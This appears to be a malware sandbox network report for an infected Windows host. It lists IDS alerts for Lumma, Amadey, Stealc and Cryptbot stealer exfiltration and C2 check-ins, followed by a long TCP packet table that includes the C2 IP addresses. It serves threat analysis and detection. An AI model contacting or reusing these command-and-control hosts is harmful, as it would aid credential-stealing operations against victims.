2024-11-26T10:10:42.344774+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50047	104.21.7.169	443	TCP
2024-11-26T10:10:44.249035+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50053	104.21.7.169	443	TCP
2024-11-26T10:10:45.785161+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50056	185.215.113.43	80	TCP
2024-11-26T10:10:47.253121+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50061	104.21.7.169	443	TCP
2024-11-26T10:10:47.309208+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50060	185.215.113.16	80	TCP
2024-11-26T10:10:47.935536+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50062	185.215.113.206	80	TCP
2024-11-26T10:10:51.371501+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50077	104.21.7.169	443	TCP
2024-11-26T10:10:51.728222+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50079	104.21.7.169	443	TCP
2024-11-26T10:10:52.466102+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50079	104.21.7.169	443	TCP
2024-11-26T10:10:52.466102+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50079	104.21.7.169	443	TCP
2024-11-26T10:10:52.999319+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50082	185.215.113.43	80	TCP
2024-11-26T10:10:54.068189+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50086	104.21.7.169	443	TCP
2024-11-26T10:10:54.525745+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50088	185.215.113.16	80	TCP
2024-11-26T10:10:54.795672+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50090	104.21.7.169	443	TCP
2024-11-26T10:10:54.807198+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50090	104.21.7.169	443	TCP
2024-11-26T10:10:55.098803+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50086	104.21.7.169	443	TCP
2024-11-26T10:10:55.098803+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50086	104.21.7.169	443	TCP
2024-11-26T10:10:55.502716+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50091	34.116.198.130	80	TCP
2024-11-26T10:10:56.111468+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50091	34.116.198.130	80	TCP
2024-11-26T10:10:56.611033+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50091	34.116.198.130	80	TCP
2024-11-26T10:10:57.126437+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50091	34.116.198.130	80	TCP
2024-11-26T10:10:57.419499+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50101	104.21.7.169	443	TCP
2024-11-26T10:10:57.665414+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50091	34.116.198.130	80	TCP
2024-11-26T10:11:01.040230+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50107	34.116.198.130	80	TCP
2024-11-26T10:11:01.503530+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50111	104.21.7.169	443	TCP
2024-11-26T10:11:01.608339+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50107	34.116.198.130	80	TCP
2024-11-26T10:11:02.177571+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50116	104.21.7.169	443	TCP
2024-11-26T10:11:02.180205+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50107	34.116.198.130	80	TCP
2024-11-26T10:11:02.528434+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50111	104.21.7.169	443	TCP
2024-11-26T10:11:02.749422+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50107	34.116.198.130	80	TCP
2024-11-26T10:11:03.313126+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50107	34.116.198.130	80	TCP
2024-11-26T10:11:09.567591+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50139	185.215.113.206	80	TCP
2024-11-26T10:11:11.750938+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50145	34.116.198.130	80	TCP
2024-11-26T10:11:12.329268+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50145	34.116.198.130	80	TCP
2024-11-26T10:11:12.907367+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50145	34.116.198.130	80	TCP
2024-11-26T10:11:13.485384+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50145	34.116.198.130	80	TCP
2024-11-26T10:11:14.111124+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50145	34.116.198.130	80	TCP
2024-11-26T10:11:17.533614+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50159	104.21.7.169	443	TCP
2024-11-26T10:11:18.244919+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50159	104.21.7.169	443	TCP
2024-11-26T10:11:18.244919+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50159	104.21.7.169	443	TCP
2024-11-26T10:11:26.614048+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50177	104.21.7.169	443	TCP
2024-11-26T10:11:27.367884+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50177	104.21.7.169	443	TCP
2024-11-26T10:11:27.367884+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50177	104.21.7.169	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 10:08:49.077224016 CET	443	49708	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:49.077330112 CET	443	49708	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:49.077384949 CET	49708	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:50.635296106 CET	49674	443	192.168.2.5	23.1.237.91
Nov 26, 2024 10:08:50.635297060 CET	49675	443	192.168.2.5	23.1.237.91
Nov 26, 2024 10:08:50.728837013 CET	49673	443	192.168.2.5	23.1.237.91
Nov 26, 2024 10:08:52.534871101 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.534902096 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.534914970 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.535001993 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:52.535160065 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.535216093 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:52.543108940 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.543262005 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.543318987 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:52.551520109 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.551723957 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.551769018 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:52.559878111 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.559933901 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.559992075 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:52.568331957 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.568456888 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.568506956 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:52.576760054 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.576814890 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.576863050 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:52.735511065 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.735644102 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.735702038 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:52.803205013 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:52.803320885 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:52.923378944 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.923401117 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.923598051 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:52.923608065 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:53.745299101 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:53.745421886 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:53.745471001 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:53.749326944 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:53.749459982 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:53.749514103 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:53.757456064 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:53.757575989 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:53.757627964 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:53.765549898 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:53.765671015 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:53.765708923 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:53.773669958 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:53.773853064 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:53.773901939 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:53.807467937 CET	49708	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:53.807498932 CET	49708	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:53.927851915 CET	443	49708	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:53.927906990 CET	443	49708	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:53.927958965 CET	443	49708	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:53.928235054 CET	443	49708	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:54.599771976 CET	443	49708	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:54.599829912 CET	443	49708	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:54.599843025 CET	443	49708	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:54.599886894 CET	443	49708	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:54.599889994 CET	49708	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:54.599940062 CET	49708	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:54.608189106 CET	443	49708	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:54.608318090 CET	443	49708	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:54.608376980 CET	49708	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:54.616790056 CET	443	49708	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:54.616863966 CET	443	49708	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:54.616926908 CET	49708	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:54.625390053 CET	443	49708	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:54.625519991 CET	443	49708	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:54.625571966 CET	49708	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:54.647052050 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:54.647144079 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:54.770571947 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:54.770612955 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:54.770750046 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:54.770766020 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:54.770828009 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:55.236604929 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:55.236707926 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:55.236774921 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:55.240561962 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:55.269850016 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:55.269872904 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:55.270108938 CET	49710	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:55.270154953 CET	443	49710	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:55.270323992 CET	49710	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:55.270431042 CET	49710	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:55.270440102 CET	443	49710	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:55.391571045 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:55.391644955 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:55.391654968 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:55.391665936 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:55.391782045 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:56.216310024 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:56.216398001 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:56.216490984 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:56.220124960 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:56.220185995 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:56.220266104 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:56.228423119 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:56.228550911 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:56.228600979 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:56.237538099 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:56.237559080 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:56.237617970 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:56.401782036 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:56.401796103 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:56.401915073 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:56.696537018 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:56.696624994 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:56.817234039 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:56.817290068 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:56.817339897 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:56.817389011 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:56.817466974 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.043703079 CET	443	49710	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.043773890 CET	49710	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:57.102899075 CET	49710	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:57.102917910 CET	443	49710	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.103199959 CET	443	49710	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.105278969 CET	49710	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:57.105331898 CET	49710	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:57.105366945 CET	443	49710	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.446121931 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.446302891 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.446360111 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:57.450155973 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.450278044 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.450340033 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:57.458322048 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.458379030 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.458420992 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:57.466676950 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.466785908 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.466830969 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:57.474770069 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.474822998 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.474875927 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:57.721041918 CET	443	49710	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.721061945 CET	443	49710	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.721133947 CET	49710	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:57.721137047 CET	443	49710	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.721189976 CET	49710	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:57.721647024 CET	49710	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:57.721652985 CET	443	49710	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.721678972 CET	49710	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:08:57.721683979 CET	443	49710	20.190.147.4	192.168.2.5
Nov 26, 2024 10:08:57.823719978 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:08:57.868815899 CET	49712	443	192.168.2.5	20.189.173.22
Nov 26, 2024 10:08:57.868838072 CET	443	49712	20.189.173.22	192.168.2.5
Nov 26, 2024 10:08:57.868961096 CET	49712	443	192.168.2.5	20.189.173.22
Nov 26, 2024 10:08:57.870349884 CET	49712	443	192.168.2.5	20.189.173.22
Nov 26, 2024 10:08:57.870363951 CET	443	49712	20.189.173.22	192.168.2.5
Nov 26, 2024 10:08:57.943701982 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:08:57.943820000 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:08:57.944061041 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:08:58.064119101 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:08:59.331569910 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:08:59.335280895 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:08:59.362220049 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:08:59.485292912 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:08:59.734185934 CET	443	49712	20.189.173.22	192.168.2.5
Nov 26, 2024 10:08:59.734277964 CET	49712	443	192.168.2.5	20.189.173.22
Nov 26, 2024 10:08:59.734292984 CET	443	49712	20.189.173.22	192.168.2.5
Nov 26, 2024 10:08:59.734366894 CET	49712	443	192.168.2.5	20.189.173.22
Nov 26, 2024 10:08:59.738954067 CET	49712	443	192.168.2.5	20.189.173.22
Nov 26, 2024 10:08:59.738959074 CET	443	49712	20.189.173.22	192.168.2.5
Nov 26, 2024 10:08:59.739396095 CET	443	49712	20.189.173.22	192.168.2.5
Nov 26, 2024 10:08:59.765579939 CET	49712	443	192.168.2.5	20.189.173.22
Nov 26, 2024 10:08:59.766432047 CET	49712	443	192.168.2.5	20.189.173.22
Nov 26, 2024 10:08:59.829746008 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:08:59.829822063 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:08:59.834199905 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:08:59.954313040 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:00.244432926 CET	49674	443	192.168.2.5	23.1.237.91
Nov 26, 2024 10:09:00.244535923 CET	49675	443	192.168.2.5	23.1.237.91
Nov 26, 2024 10:09:00.291457891 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:00.291560888 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:00.291563034 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:00.291608095 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:00.338222980 CET	49673	443	192.168.2.5	23.1.237.91
Nov 26, 2024 10:09:00.489583015 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:00.489660025 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:00.501498938 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:00.624713898 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:00.955905914 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:00.956078053 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:00.956080914 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:00.956087112 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:00.956104040 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:00.956113100 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:00.956124067 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:00.956137896 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:00.956167936 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:00.956212044 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:00.964627028 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:00.964689016 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:00.966281891 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:01.086605072 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:01.420572042 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:01.420649052 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:01.442570925 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:01.442625999 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:01.562901020 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:01.562921047 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:01.563021898 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:01.563143015 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:01.563219070 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:01.563231945 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:02.421673059 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:02.421741009 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:02.718779087 CET	443	49704	23.1.237.91	192.168.2.5
Nov 26, 2024 10:09:02.718894958 CET	49704	443	192.168.2.5	23.1.237.91
Nov 26, 2024 10:09:02.863584995 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:02.986128092 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.315609932 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.315669060 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.315818071 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.315859079 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.319299936 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.319364071 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.319372892 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.319413900 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.324738979 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.324805021 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.324873924 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.324915886 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.333188057 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.333262920 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.333292961 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.333323956 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.341598988 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.341655016 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.341660976 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.341700077 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.349972010 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.350018024 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.449414968 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.449520111 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.449640989 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.449688911 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.453421116 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.453473091 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.453669071 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.453713894 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.461339951 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.461389065 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.461420059 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.461462975 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.470138073 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.470156908 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.470191002 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.470208883 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.478363037 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.478377104 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.478437901 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.485909939 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:03.485991955 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:03.516289949 CET	80	49711	185.215.113.206	192.168.2.5
